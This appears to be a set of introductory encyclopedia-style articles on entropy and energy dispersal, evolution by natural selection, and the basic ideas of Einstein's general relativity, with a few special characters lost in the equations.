          Originally, entropy was named to describe the "waste heat", or more accurately energy losses, from heat engines and other mechanical devices which could never run with 100% efficiency in converting energy into work. Later, the term came to acquire several additional descriptions as more came to be understood about the behaviour of molecules on the microscopic level. In the late 19th century the word "disorder" was used by Ludwig Boltzmann in developing statistical views of entropy using probability theory to describe the increased molecular movement on the microscopic level. That was before quantum behaviour came to be better understood by Werner Heisenberg and those who followed. Descriptions of thermodynamic (heat) entropy on the microscopic level are found in statistical thermodynamics and statistical mechanics.


          For most of the 20th century textbooks tended to describe entropy as "disorder", following Boltzmann's early conceptualisation of the motional energy of molecules. More recently there has been a trend in chemistry and physics textbooks to describe entropy in terms of "dispersal of energy". Entropy can also involve the dispersal of particles, which are themselves energetic. Thus there are instances where both particles and energy disperse at different rates when substances are mixed together.


          The mathematics developed in statistical thermodynamics were found to be applicable in other disciplines. In particular, information sciences developed the concept of information entropy where a constant replaces the Temperature which is inherent in thermodynamic entropy.


          


          Heat and entropy


          At a microscopic level kinetic energy of molecules is responsible for the temperature of a substance or a system. Heat is the kinetic energy of molecules being transferred: when motional energy is transferred from hotter surroundings to a cooler system, faster moving molecules in the surroundings collide with the walls of the system and some of their energy gets to the molecules of the system and makes them move faster.


          
            	(molecules in a gas like nitrogen at room temperature at any instant are moving at an average speed of nearly a thousand miles an hour, constantly colliding and therefore exchanging energy so that their individual speeds are always changing, even being motionless for an instant if two molecules with exactly the same speed collide head-on, before another molecule hits them and they race off, as fast as 2500 miles an hour. At higher temperatures average speeds increase and motional energy becomes considerably greater.)

              
                	Thus motional molecular energy (heat energy) from hotter surroundings, like faster moving molecules in a flame or violently vibrating iron atoms in a hot plate, will melt or boil a substance (the system) at the temperature of its melting or boiling point. That amount of motional energy from the surroundings that is required for melting or boiling is called the phase change energy, specifically the enthalpy of fusion or of vaporization, respectively. This phase change energy breaks bonds between the molecules in the system (not chemical bonds inside the molecules that hold the atoms together) rather than contributing to the motional energy and making the molecules move any faster  so it doesnt raise the temperature, but instead enables the molecules to break free to move as a liquid or as a vapor.


                	In terms of energy, when a solid becomes a liquid or a liquid a vapor, motional energy coming from the surroundings is changed to  potential energy  in the substance (phase change energy, which is released back to the surroundings when the surroundings become cooler than the substance's boiling or melting temperature, respectively). Phase change energy increases the entropy of a substance or system because it is energy that must be spread out in the system from the surroundings so that the substance can exist as a liquid or vapor at a temperature above its melting or boiling point. When this process occurs in a universe that consists of the surroundings plus the system, the total energy of the universe becomes more dispersed or spread out as part of the greater energy that was only in the hotter surroundings transfers so that some is in the cooler system. This energy dispersal increases the entropy of the 'universe'.

              

            

          


          The important overall principle is that Energy of all types changes from being localized to becoming dispersed or spread out, if it is not hindered from doing so. Entropy (or better, entropy change) is the quantitative measure of that kind of a spontaneous process: how much energy has been transferred/T or how widely it has become spread out at a specific temperature.


          


          Classical calculation of entropy


          When entropy was first defined and used in 1865 the very existence of atoms was still controversial and there was no concept that temperature was due to the motional energy of molecules or that heat was actually the transferring of that motional molecular energy from one place to another. Entropy change, S, was described in macro terms that could be measured, such as volume or temperature or pressure. The 1865 equation, which is still completely valid, is that [image: \Delta S = \frac{q_{rev}}{T} ]. This can be expanded, part by part, in modern terms of how molecules are responsible for what is happening. Here is that equation expanded:


          
            	S = the entropy of a system (i.e., of a substance or a group of substances), after some motional energy (heat) has been transferred to it by fast moving molecules, minus the entropy of that system before any such energy was transferred to it. So, S = Sfinal  Sinitial.

          


          
            	Then, S = Sfinal  Sinitial = q, the motional energy (heat) that is transferred "reversibly" (rev) to the system from the surroundings (or from another system of in contact with the first system) divided by T, the absolute temperature at which the transfer occurs [image:  = \frac{q_{rev}}{T}].

              
                	Reversible or reversibly (rev) simply means that T, the temperature of the system, has to stay (almost) exactly the same while any energy is being transferred to or from it. Thats easy in the case of phase changes, where the system absolutely must stay in the solid or liquid form until enough energy is given to it to break bonds between the molecules before it can change to a liquid or a gas. For example in the melting of ice at 273.15 K, no matter what temperature the surroundings are  from 273.20 K to 500 K or even higher, the temperature of the ice will stay at 273.15 K until the last molecules in the ice are changed to liquid water, i.e., until all the hydrogen bonds between the water molecules in ice are broken and new, less-exactly fixed hydrogen bonds between liquid water molecules are formed. This amount of energy necessary for ice melting per mole has been found to be 6008 joules at 273 K. Therefore, the entropy change per mole is [image: \frac{q_{rev}}{T} = \frac{6008 J}{273 K}] or[image:  \frac{22 J}{K}].


                	When the temperature isn't at the melting or boiling point of a substance no intermolecular bond-breaking is possible, and so any motional molecular energy (heat) from the surroundings transferred to a system raises its temperature, making its molecules move faster and faster. As the temperature is constantly rising, there is no longer a particular value of T at which energy is transferred. However, a "reversible" energy transfer can be measured at a very small temperature increase, and a cumulative total can be found by adding each of many many small temperature intervals or increments. For example, to find the entropy change ([image: \frac{q_{rev}}{T}]) from 300 K to 310 K, measure the amount of energy transferred at dozens or hundreds of temperature increments, say from 300.00 K to 300.01 K and then 300.01 to 300.02 and so on, dividing the q by each T, and finally adding them all.


                	Calculus can be used to make this calculation easier if the effect of energy input to the system is linearly dependent on the temperature change, as in simple heating of a system at moderate to relatively high temperatures. Thus, the energy being transferred per incremental change in temperature (the heat capacity, Cp), multiplied by the integral of [image: \frac{dT}{T}] from Tinitialto Tfinal, is directly given by [image: \Delta S = Cp \ln(\frac{T_{final}}{T_{initial}})].

              

            

          


          


          Introductory descriptions of entropy


          Traditionally, 20th century textbooks have introduced entropy as order and disorder so that it provides "a measurement of the disorder or randomness of a system". Ambiguities in the terms used (such as "disorder" and "chaos") contribute to widespread confusion and can hinder comprehension of entropy for most students. A more recent formulation describing Entropy as energy dispersal describes entropy as measuring "the spontaneous dispersal of energy  at a specific temperature."
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        Introduction to evolution


        
          

          
            
              	
                
                  [image: ]


                  
                    Triceratops and nest by Karen Carr.

                    Genetic changes between generations either increase or decrease the chance of an organism's survival.
                  

                

              
            


            
              	Overview
            


            
              	Life forms reproduce to make offspring.
            


            
              	The offspring differs from the parent in minor random ways.
            


            
              	If the differences are helpful, the offspring is more likely to survive and reproduce.
            


            
              	This means that more offspring in the next generation will have the helpful difference.
            


            
              	These differences accumulate resulting in changes within the population.
            


            
              	Over time, this process gradually leads to entirely new types of life.
            


            
              	This process is responsible for the many diverse life forms in the world today.
            


            
              	
                
                  Haeckel's Paleontological Tree of Vertebrates (c. 1879).

                  The evolutionary history of species has been described as a " tree", with many branches arising from a single trunk. While Haeckel's tree is somewhat outdated, it illustrates clearly the principles that more complex modern reconstructions can obscure.
                

              
            

          


          Evolution is the changes that happen in all forms of life over generations, and evolutionary biology is the study of how and why evolution occurs. An organism inherits features (called traits) from its parents through genes. Changes (called mutations) in these genes can produce a new trait in the offspring of an organism. If a new trait makes these offspring better suited to their environment, they will be more successful at surviving and reproducing. This process is called natural selection, and it causes useful traits to become more common. Over many generations, a population can acquire so many new traits that it becomes a new species.


          The understanding of evolutionary biology began with the 1859 publication of Charles Darwin's On the Origin of Species. In addition, Gregor Mendel's work with plants helped to explain the hereditary patterns of genetics. This led to an understanding of the mechanisms of inheritance. Further discoveries on how genes mutate, as well as advances in population genetics explained more details of how evolution occurs. Scientists now have a good understanding of the origin of new species ( speciation). They have observed the speciation process happening both in the laboratory and in the wild. This modern view of evolution is the principal theory that scientists use to understand life.


          


          Darwin's idea: evolution by natural selection


          Charles Darwin developed the idea that each species had developed from ancestors with similar features, and in 1838, he described how a process he called natural selection would make this happen. Darwin's idea of how evolution works relied on the following observations:


          
            	1. If all the individuals of a species reproduced successfully, the population of that species would increase uncontrollably.


            	2. Populations tend to remain about the same size from year to year.


            	3. Environmental resources are limited.


            	4. No two individuals in a given species are exactly alike.


            	5. Much of this variation in a population can be passed on to offspring.

          


          
            [image: Charles Darwin proposed the theory of evolution by natural selection.]


            
              Charles Darwin proposed the theory of evolution by natural selection.
            


            [image: Darwin noted that orchids exhibited a variety of complex adaptations to ensure pollination; all derived from basic floral parts.]


            
              Darwin noted that orchids exhibited a variety of complex adaptations to ensure pollination; all derived from basic floral parts.
            

          


          Darwin deduced that since organisms produce more offspring than the world could possibly support, there must be a competitive struggle for survival - only a few individuals can survive out of each generation. Darwin realized that it was not chance alone that determined survival. Instead, survival depends on the traits of each individual and if these traits aid or hinder survival and reproduction. Well-adapted, or "fit", individuals are likely to leave more offspring than their less well-adapted competitors. Darwin realized that the unequal ability of individuals to survive and reproduce could cause gradual changes in the population. Traits that help an organism survive and reproduce would accumulate over generations. On the other hand, traits that hinder survival and reproduction would disappear. Darwin used the term natural selection to describe this process.


          Observations of variations in animals and plants formed the basis of the theory of natural selection. For example, Darwin observed that orchids and insects have a close relationship that allows the pollination of the plants. He noted that orchids have a variety structures that attract insects - so that pollen from the flowers gets stuck to the insects bodies. In this way, insects transport the pollen from a male to a female orchid. In spite of the elaborate appearance of orchids, these specialized parts are made from the same basic structures that make up other flowers. Darwin proposed that the orchid flowers did not represent the work of an ideal engineer, but were adapted from pre-existing parts, through natural selection.


          Darwin was still researching and experimenting with his ideas on natural selection when he received a letter from Alfred Wallace describing a theory almost the same as his own. This led to an immediate joint publication of both theories. Both Wallace and Darwin saw the history of life like a family tree, with each fork in the trees limbs being a common ancestor. The tips of the limbs represented modern species and the branches represented the common ancestors that are shared amongst many different species. To explain these relationships, Darwin said that all living things were related, and this meant that all life must be descended from a few forms, or even from a single common ancestor. He called this process, "descent with modification".


          Darwin published his theory of evolution by natural selection in On the Origin of Species in 1859. His theory means that all life, including humanity, is a product of continuing natural processes. The implication that all life on earth has a common ancestor has met with objections from some religious groups who believe even today that the different types of life are due to special creation. Their objections are in contrast to the level of support for the theory by more than 99 percent of those within the scientific community today.


          


          Modern synthesis


          The modern evolutionary synthesis was the outcome of a merger of several different scientific fields into a cohesive understanding of evolutionary theory. In the 1930s and 1940s, efforts were made to merge Darwin's theory of natural selection, research in heredity, and understandings of the fossil records into a unified explanatory model. The application of the principles of genetics to naturally occurring populations, by scientists such as Theodosius Dobzhansky and Ernst Mayr, advanced understanding of the processes of evolution. Dobzhansky's 1937 work Genetics and the Origin of Species was an important step in bridging the gap between genetics and field biology. Mayr, on the basis of an understanding of genes and direct observations of evolutionary processes from field research, introduced the biological species concept, which defined a species as a group of interbreeding or potentially interbreeding populations that are reproductively isolated from all other populations. The paleontologist George Gaylord Simpson helped to incorporate fossil research, which showed a pattern consistent with the branching and non-directional pathway of evolution of organisms predicted by the modern synthesis.


          The modern synthesis emphasizes the importance of populations as the unit of evolution, the central role of natural selection as the most important mechanism of evolution, and the idea of gradualism to explain how large changes evolve as an accumulation of small changes over long periods of time.


          


          


          Evidence for evolution
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          Scientific evidence for evolution comes from many aspects of biology, and includes fossils, homologous structures, and molecular similarities between species' DNA.


          


          Fossil record


          Research in the field of paleontology, the study of fossils, supports the idea that all living organisms are related. Fossils provide evidence that accumulated changes in organisms over long periods of time have led to the diverse forms of life we see today. A fossil itself reveals the organism's structure and the relationships between present and extinct species, allowing paleontologists to construct a family tree for all of the life forms on earth.


          Modern paleontology began with the work of Georges Cuvier (17691832). Cuvier noted that, in sedimentary rock, each layer contained a specific group of fossils. The deeper layers, which he proposed to be older, contained simpler life forms. He noted that many forms of life from the past are no longer present today. One of Cuviers successful contributions to the understanding of the fossil record was establishing extinction as a fact. In an attempt to explain extinction, Cuvier proposed the idea of revolutions or catastrophism in which he speculated that geological catastrophes had occurred throughout the earths history, wiping out large numbers of species. Cuvier's theory of revolutions was later replaced by uniformitarian theories, notably those of James Hutton and Charles Lyell who proposed that the earths geological changes were gradual and consistent. However, current evidence in the fossil record supports the concept of mass extinctions. As a result, the general idea of catastrophism has re-emerged as a valid hypothesis for at least some of the rapid changes in life forms that appear in the fossil records.


          A very large number of fossils have now been discovered and identified. These fossils serve as a chronological record of evolution. The fossil record provides examples of transitional species that demonstrate ancestral links between past and present life forms. One such transitional fossil is Archaeopteryx, an ancient organism that had the distinct characteristics of a reptile, yet had the feathers of a bird. The implication from such a find is that modern reptiles and birds arose from a common ancestor.



          


          Comparative anatomy


          The comparison of similarities between organisms of their form or appearance of parts, called their morphology, has long been a way to classify life into closely related groups. This can be done by comparing the structure of adult organisms in different species or by comparing the patterns of how cells grow, divide and even migrate during an organism's development.


          
            	Taxonomy

          


          Taxonomy is the branch of biology that names and classifies all living things. Scientists use morphological and genetic similarities to assist them in categorizing life forms based on ancestral relationships. For example, orangutans, gorillas, chimpanzees, and humans all belong to the same taxonomic grouping referred to as a family  in this case the family called Hominidae. These animals are grouped together because of similarities in morphology that come from common ancestry (called homology). Strong evidence for evolution comes from the analysis of homologous structures in different species that no longer perform the same task. Such is the case of the forelimbs of mammals. The forelimbs of a human, cat, whale, and bat all have strikingly similar bone structures. However, each of these four species' forelimbs performs a different task. The same bones that construct a bird's wings, which are used for flight, also construct a whale's flippers, which are used for swimming. Such a "design" makes little sense if they are unrelated and uniquely constructed for their particular tasks. The theory of evolution explains these homologous structures: all four animals shared a common ancestor, and each has undergone change over many generations. These changes in structure have produced forelimbs adapted for different tasks.


          


          
            	Embryology

          


          In some cases, anatomical comparison of structures in the embryos of two or more species provides evidence for a shared ancestor that may not be obvious in the adult forms. As the embryo develops, these homologies can be lost to view, and the structures can take on different functions. Part of the basis of classifying the vertebrate group (which includes humans), is the presence of a tail (extending beyond the anus) and pharyngeal gill slits. Both structures appear during some stage of embryonic development but are not always obvious in the adult form.


          Because of the morphological similarities present in embryos of different species during development, it was once assumed that organisms re-enact their evolutionary history as an embryo. It was thought that human embryos passed through an amphibian then a reptilian stage before completing their development as mammals. Such a re-enactment, called ontogeny recapitulates phylogeny, is not supported by scientific evidence. What does occur, however, is that the first stages of development are similar in broad groups of organisms. At the pharyngula stage, for instance, all vertebrates are extremely similar, but do not exactly resemble any ancestral species. As development continues, the features specific to the species emerge from the basic pattern.


          
            	Vestigial structures

          


          Homology includes a unique group of shared structures referred to as vestigial structures. Vestigial refers to anatomical parts that are of minimal, if any, value to the organism that possesses them. These apparently illogical structures are remnants of organs that played an important role in ancestral forms. Such is the case in whales, which have small vestigial bones that appear to be remnants of the leg bones of their ancestors which walked on land. Humans also have vestigial structures, including the ear muscles, the wisdom teeth, the appendix, the tail bone, body hair (including goose bumps), and the semilunar fold in the corner of the eye.


          
            	Convergent evolution
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          Anatomical comparisons can be misleading, as not all anatomical similarities indicate a close relationship. Organisms that share similar environments will often develop similar physical features, a process known as convergent evolution. Both sharks and dolphins have similar body forms, yet are only distantly related  sharks are fish and dolphins are mammals. Such similarities are a result of both populations being exposed to the same selective pressures. Within both groups, changes that aid swimming have been favored. Thus, over time, they developed similar appearances (morphology), even though they are not closely related.


          


          


          Molecular biology
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          Every living organism contains molecules of DNA, which carries genetic information. Genes are the pieces of DNA that carry this information, and they influence the properties of an organism. Genes determine an individual's general appearance and to some extent their behaviour. If two organisms are closely related, their DNA will be very similar. On the other hand, the more distantly related two organisms are, the more differences they will have. For example, two brothers will be very closely related and will have very similar DNA, while distant cousins will have far more differences in their DNA. Similarities in DNA are used to determine the relationships between species in much the same manner as they are used to show relationships between individuals. For example, comparing chimpanzees with gorillas and humans shows that there is as much as a 96percent similarity between the DNA of humans and chimps, and that humans and chimpanzees are more closely related to each other than either species is to gorillas.


          The field of molecular systematics focuses on measuring the similarities in these molecules and using this information to work out how different types of organisms are related through evolution. These comparisons have allowed biologists to build a relationship tree of the evolution of life on earth. They have even allowed scientists to unravel the relationships between organisms whose common ancestors lived such a long time ago that no real similarities remain in the appearance of the organisms.


          


          Co-evolution


          Co-evolution is a process in which two or more species influence the evolution of each other. All organisms are influenced by life around them; however, in co-evolution there is evidence that genetically determined traits in each species directly resulted from the interaction between the two organisms.


          An extensively documented case of co-evolution is the relationship between Pseudomyrmex, a type of ant, and the acacia, a plant that the ant uses for food and shelter. The relationship between the two is so intimate that it has led to the evolution of special structures and behaviors in both organisms. The ant defends the acacia against herbivores and clears the forest floor of the seeds from competing plants. In response, the plant has evolved swollen thorns that the ants use as shelter and special flower parts that the ants eat. Such co-evolution does not imply that the ants and the tree choose to behave in an altruistic manner. Rather, across a population small genetic changes in both ant and tree benefited each. The benefit gave a slightly higher chance of the characteristic being passed on to the next generation. Over time, successive mutations created the relationship we observe today.


          


          Species
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          Given the right circumstances, and enough time, evolution leads to the emergence of new species. Scientists have struggled to find a precise and all-inclusive definition of species. Ernst Mayr (19042005) defined a species as a population or group of populations whose members have the potential to interbreed naturally with one another to produce viable, fertile offspring. (The members of a species cannot produce viable, fertile offspring with members of other species). Mayr's definition has gained wide acceptance among biologists, but does not apply to organisms such as bacteria, which reproduce asexually.


          Speciation is the lineage-splitting event that results in two separate species forming from a single common ancestral population. A widely accepted method of speciation is called allopatric speciation. Allopatric speciation begins when a population becomes geographically separated. Geological processes, such as the emergence of mountain ranges, the formation of canyons, or the flooding of land bridges by changes in sea level may result in separate populations. For speciation to occur, separation must be substantial, so that genetic exchange between the two populations is completely disrupted. In their separate environments, the genetically isolated groups follow their own unique evolutionary pathways. Each group will accumulate different mutations as well as be subjected to different selective pressures. The accumulated genetic changes may result in separated populations that can no longer interbreed if they are reunited. Barriers that prevent interbreeding are either prezygotic (prevent mating or fertilization) or postzygotic (barriers that occur after fertilization). If interbreeding is no longer possible, then they will be considered different species.


          Usually the process of speciation is slow, occurring over very long time spans; thus direct observations within human life-spans are rare. However speciation has been observed in present day organisms, and past speciation events are recorded in fossils. Scientists have documented the formation of five new species of cichlid fishes from a single common ancestor that was isolated fewer than 5000years ago from the parent stock in Lake Nagubago. The evidence for speciation in this case was morphology (physical appearance) and lack of natural interbreeding. These fish have complex mating rituals and a variety of colorations; the slight modifications introduced in the new species have changed the mate selection process and the five forms that arose could not be convinced to interbreed.


          


          


          Different views on the mechanism of evolution
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          The theory of evolution is widely accepted among the scientific community, serving to link the diverse specialty areas of biology. Evolution provides the field of biology with a solid scientific base. The significance of evolutionary theory is best described by the title of a paper by Theodosius Dobzhansky (19001975), published in American Biology Teacher; " Nothing in Biology Makes Sense Except in the Light of Evolution". Nevertheless, the theory of evolution is not static. There is much discussion within the scientific community concerning the mechanisms behind the evolutionary process. For example, the rate at which evolution occurs is still under discussion. In addition, there are conflicting opinions as to which is the primary unit of evolutionary changethe organism or the gene.


          


          Rate of change


          Two views exist concerning the rate of evolutionary change. Darwin and his contemporaries viewed evolution as a slow and gradual process. Evolutionary trees are based on the idea that profound differences in species are the result of many small changes that accumulate over long periods.


          The view that evolution is gradual had its basis in the works of the geologist James Hutton (17261797) and his theory called " gradualism". Hutton's theory suggests that profound geological change was the cumulative product of a relatively slow continuing operation of processes which can still be seen in operation today, as opposed to catastrophism which promoted the idea that sudden changes had causes which can no longer be seen at work. A uniformitarian perspective was adopted for biological changes. Such a view can seem to contradict the fossil record, which shows evidence of new species appearing suddenly, then persisting in that form for long periods. The paleontologist Stephen Jay Gould (19402002) developed a model that suggests that evolution, although a slow process in human terms, undergoes periods of relatively rapid change over only a few thousand or million years, alternating with long periods of relative stability, a model called "punctuated equilibrium" which explains the fossil record without contradicting Darwin's ideas.


          


          Unit of change


          It is generally accepted amongst biologists that the unit of selection in evolution is the organism, and that natural selection serves to either enhance or reduce the reproductive potential of an individual. Reproductive success, therefore, can be measured by the volume of an organism's surviving offspring. The organism view has been challenged by a variety of biologists as well as philosophers. Richard Dawkins (born 1941) proposes that much insight can be gained if we look at evolution from the gene's point of view; that is, that natural selection operates as an evolutionary mechanism on genes as well as organisms. In his book The Selfish Gene, he explains:


          
            
              	

              	Individuals are not stable things, they are fleeting. Chromosomes too are shuffled to oblivion, like hands of cards soon after they are dealt. But the cards themselves survive the shuffling. The cards are the genes. The genes are not destroyed by crossing-over; they merely change partners and march on. Of course they march on. That is their business. They are the replicators and we are their survival machines. When we have served our purpose we are cast aside. But genes are denizens of geological time: genes are forever.

              	
            

          


          Others view selection working on many levels, not just at a single level of organism or gene; for example, Stephen Jay Gould called for a hierarchical perspective on selection.


          


          


          Artificial selection
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          Artificial selection is the controlled breeding of domestic plants and animals. The farmer determines which animal or plant will reproduce and which of the offspring will survive. The farmer 'chooses' which genes will be passed on to future generations. The process of artificial selection has had a significant impact on the evolution of domestic animals. For example, people have produced different types of dogs by controlled breeding. The differences in size between the Chihuahua and the Great Dane are the result of artificial selection. Despite their dramatically different physical appearance, they and all other dogs evolved from a few wolves domesticated by humans in what is now China less than 15,000years ago.


          Artificial selection has produced a wide variety of plants. In the case of maize (corn), recent genetic evidence suggests that domestication occurred 10,000years ago in central Mexico. Prior to domestication, the edible portion of the wild form was small and difficult to collect. Today The Maize Genetics Cooperation  Stock Centre maintains a collection of more than 10,000genetic variations of maize that have arisen by random mutations and chromosomal variations from the original wild type.


          In artificial selection the new breed or variety is the one with random mutations attractive to humans, while in natural selection the surviving species is the one with random mutations useful to it in its environment. In both natural and artificial selection the variations are a result of random mutations, and the underlying genetic processes are essentially the same. Darwin carefully observed the outcomes of artificial selection in animals and plants to form many of his arguments in support of natural selection. Much of his book On the Origin of Species was based on these observations of the many varieties of domestic pigeons arising from artificial selection. Darwin proposed that if humans could achieve dramatic changes in domestic animals in short periods, then natural selection, given millions of years, could produce the differences seen in living things today.


          


          Summary


          
            
              	Evolution in popular culture
            


            
              	The language of evolution became pervasive in Victorian Britain as Darwin's work spread and became better known:
            


            
              	" Survival of the fittest"  used by Herbert Spencer in Principles of Biology (1864)
            


            
              	" Nature, red in tooth and claw"  from Alfred Lord Tennyson's In Memoriam A.H.H. (1849) While this poem preceded the publication of Darwin's work in 1859, it came to represent evolution for both evolution detractors and supporters.
            


            
              	
                It even merited a song in Gilbert and Sullivan's 1884 opera, Princess Ida, which concludes:


                "Darwinian man, though well behaved,

                at best is only a monkey shaved!"

              
            

          


          Several basic observations establish the theory of evolution, which explains the variety and relationship of all living things. There are genetic variations within a population of individuals. Some individuals, by chance, have features that allow them to survive and thrive better than their kind. The individuals that survive will be more likely to have offspring of their own. The offspring might inherit the useful feature.


          Evolution is not a random process for creating new life forms. While mutations are random, natural selection is not. Evolution is an inevitable result of imperfectly copying, self-replicating organisms reproducing over billions of years under the selective pressure of the environment. The result is not perfectly designed organisms. Rather, the result is individuals that can survive better than their nearest neighbour can in a particular environment. Fossils, the genetic code, and the peculiar distribution of life on earth, which demonstrates the common ancestry of all organisms, both living and long dead, provide a record of evolution. Evolution can be directly observed in artificial selection, the selective breeding for certain traits of domestic animals and plants. The diverse breeds of cats, dogs, horses, and agricultural plants serve as examples of evolution.


          Although some groups raise objections to the theory of evolution, the evidence of observation and experiments over a hundred years by thousands of scientists supports evolution. The result of four billion years of evolution is the diversity of life around us, with an estimated 1.75million different species in existence today.
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          General relativity (GR) is a theory of gravitation that was developed by Albert Einstein between 1907 and 1915. According to general relativity, the observed gravitational attraction between masses results from those masses warping nearby space and time. Previously, Newton's law of universal gravitation (1686) had described gravity as a force between masses, but experiments have shown that Einstein's description is more accurate. What is more, general relativity predicts interesting new phenomena such as gravitational waves.


          General relativity accounts for several effects that are unexplained by Newton's law, such as minute anomalies in the orbits of Mercury and other planets, and it makes numerous predictions  since confirmed  for novel effects of gravity, such as the bending of light and the slowing of time. Although general relativity is not the only relativistic theory of gravity, it is the simplest such theory that is consistent with the experimental data. However, a number of open questions remain: the most fundamental is how general relativity can be reconciled with the laws of quantum physics to produce a complete and self-consistent theory of quantum gravity.


          The theory has developed into an essential tool for modern astrophysics. It provides the foundation for our current understanding of black holes; these are regions of space where gravitational attraction is so strong that not even light can escape. Their strong gravity is thought to be responsible for the intense radiation emitted by certain types of astronomical objects (such as active galactic nuclei or microquasars).


          The bending of light by gravity can lead to the curious phenomenon of multiple images of one and the same astronomical object being visible in the sky. This effect is called gravitational lensing, and its study is an active branch of astronomy. Direct evidence of gravitational waves is being sought by several teams of scientists, as in the LIGO and GEO 600 projects; success should allow scientists to study a variety of interesting phenomena, from black holes to the early universe, by analyzing the gravitational waves they produce. General relativity is also the basis of the standard Big Bang model of cosmology.


          
            
              	General relativity
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          From special to general relativity


          In 1905, Einstein published his theory of special relativity, which reconciles Newton's laws of motion with electrodynamics (the interaction between objects with electric charge). Special relativity provided a new framework for all of physics by introducing radically new concepts of space and time. However, some then-accepted physical theories were inconsistent with that framework; a key example was Newton's theory of gravity, which describes the mutual attraction experienced by bodies due to their mass.


          Several physicists, including Albert Einstein, attempted to find a theory that would reconcile Newton's law of gravity and special relativity; however, only Einstein's theory ultimately proved to be consistent with experiments and observations. To understand the theory's basic ideas, it is instructive to follow the trajectory of Einstein's thinking between 1907 and 1915, from his simple thought experiment involving an observer in free fall (the "Equivalence Principle") to his fully geometric theory of gravity.


          


          Equivalence principle


          A person in a free falling elevator will experience weightlessness during their fall: objects will either float alongside them, or drift at constant speed. Since everything in the elevator is falling together, no gravitational effect can be observed. Thus, the experiences of an observer in free fall will be similar to those of an observer in deep space, far from any source of gravity. Such observers are the privileged ("inertial") observers Einstein described in his theory of special relativity: observers for whom light travels along straight lines at constant speed. Such observers feel no acceleration, and they need not introduce what physicists call fictitious forces (such as the force pressing the driver of an accelerating car into his or her seat) to explain what happens around them.


          Einstein hypothesized that the similar experiences of weightless observers and inertial observers in special relativity represented a fundamental property of gravity, and made it the cornerstone of his theory of general relativity. Einstein formalized this idea in his equivalence principle; roughly speaking, this principle states that a person in a free-falling elevator cannot tell that they are in free fall. Every experiment in such a free-falling environment has the same results as it would if the observer were at rest (or moving uniformly) in deep space, far from all sources of gravity.


          


          Gravity and acceleration
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          Just as most effects of gravity can be made to vanish by observing them in free fall, the same effects can be produced by observing objects in an accelerated frame of reference. An observer in a closed room cannot tell which of the following is true:


          
            	Objects are falling to the floor because the room is resting on the surface of the Earth and the objects are being pulled down by gravity.


            	Objects are falling to the floor because the room is aboard a rocket in space, which is accelerating at 9.81 m/s2. The objects are being pulled towards the floor by the same "inertial force" that presses the driver of an accelerating car into his seat.

          


          Conversely, any effect observed in an accelerated reference frame should also be observed in a gravitational field of corresponding strength. This principle allowed Einstein to predict several novel effects of gravity in 1907, as explained in the next section.


          Einstein's key insight was that the constant pull of gravity we know from everyday experience is basically the same as the fictitious forces felt by an accelerating observer. Since fictitious forces are always proportional to the mass of the object on which they act, an object in a gravitational field should feel a gravitational force proportional to its mass, as embodied in Newton's law of gravitation.


          


          Physical consequences


          In 1907, having formulated the equivalence principle (and unaware that it would take him another eight years to arrive at the final theory of general relativity), Einstein was already able to derive a number of interesting observable consequences from the equivalence of gravitation and accelerated reference frames.
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          The first new effect is the gravitational frequency shift of light. Assume that there are two observers, both of them at rest in an accelerating rocket-ship. Assume also that one observer is higher than the other, where "higher" and "lower" are defined relative to the acceleration: the acceleration drives the "higher" observer "downwards" towards the "lower" observer. If the lower observer sends a light signal to the higher observer, the acceleration causes the light to be red-shifted, as may be calculated from special relativity; the second observer will measure a lower frequency for the light than the first. Conversely, light sent from the higher observer to the lower is blue-shifted (shifted towards higher frequencies). Einstein argued that such frequency shifts must be also observed in a gravitational field, as illustrated in the Figure at left. A light wave is gradually red-shifted as it works its way upwards against the gravitational acceleration. This effect has been confirmed experimentally, as described below.


          This frequency shift corresponds to gravitational time dilation. The observers can use the same light wave to compare their clock rates: since the second observer measures a lower frequency than the first, the second observer's clocks are running faster than those of the first observer. More generally, clocks that are lower in a gravitational field tick more slowly than those that are higher.
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          It is important to stress that nothing changes locally; for each observer, time flows as normal (Or it can be said, time is relative). Five-minute-eggs as timed by each observer's clock have the same consistency; as one year passes on each clock, each observer ages by that amount; each clock, in short, is in perfect agreement with all processes happening in its immediate vicinity. However, it is only when the clocks are compared between separate observers that one can notice that time runs more slowly for the lower observer than for the higher. This effect is minute, but it too has been confirmed experimentally, as described below.


          In a similar way, Einstein also predicted another effect, the gravitational deflection of light: in a gravitational field, light is deflected downward. This can be understood as follows. Suppose that a light-wave passes through a gravitational field so that its left side is "lower" than its right side. By the time dilation effect, the left side will move more slowly than the right side, causing the whole wave to veer to the left (downwards). However, Einstein's numerical predictions in 1907 for this deflection were off by a factor of two; it requires the complete theory of general relativity to get this prediction correct.
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          Tidal effects


          As useful as the equivalence between gravitational and inertial effect might be, it does not constitute a complete theory of gravity. Notably, it cannot answer the following simple question: what keeps the people on the other side of the world from falling off? We might be able to explain gravity near our location on the Earth's surface as a fictitious force  as due to the fact that we have chosen a reference frame that is not in free fall. But a freely falling reference frame on our side of the Earth cannot explain why the people on the opposite side of the Earth experience a gravitational pull in the opposite direction.


          A more basic manifestation of the same effect involves two bodies that are falling side by side towards the Earth. In a reference frame that is in free fall alongside these bodies, they appear to hover weightlessly  but not completely so: after all, if you look more closely, these bodies are not falling in the same direction, but towards the same point in space: the Earth's centre of gravity. Because of this, there is a component of the motion which accelerates the two bodies towards each other (see the figure). In a small environment such as a freely falling lift, this relative acceleration is minute, while for skydivers at the opposite side of the Earth, the effect is much larger.


          Whenever bodies fall in different directions or at different rates due to differences in the strength and direction of gravitational forces, the term " tidal effect" is often used, since such differences in force are also responsible for the tides in the Earth's oceans. The equivalence between inertia and gravity cannot explain these tidal effects  it cannot explain the variation of the gravitational field from location to location. For that, a theory is needed which describes the way that matter (such as the large mass of the Earth) affects the inertial environment around it.


          


          From acceleration to geometry


          In exploring the equivalence of gravity and acceleration as well as the role of tidal forces, Einstein had discovered several interesting analogies with the geometry of surfaces. One example is the transition from an inertial reference frame (in which free particles coast along straight paths at constant speed) to a rotating reference frame (in which extra terms corresponding to fictitious forces have to be introduced in order to explain particle motion). It is analogous to the transition from a Cartesian coordinate system (in which the coordinate lines are straight lines) to a curved coordinate system.


          A deeper analogy relates tidal forces with a property of surfaces called curvature. For gravitational fields, the absence or presence of tidal forces determines whether or not the influence of gravity can be eliminated by choosing a freely falling reference frame. Similarly, the absence or presence of curvature on a surface determines whether or not it is equivalent ( isometric) to a plane. In the summer of 1912, and inspired by these analogies, Einstein went in search of a geometric formulation of gravity.


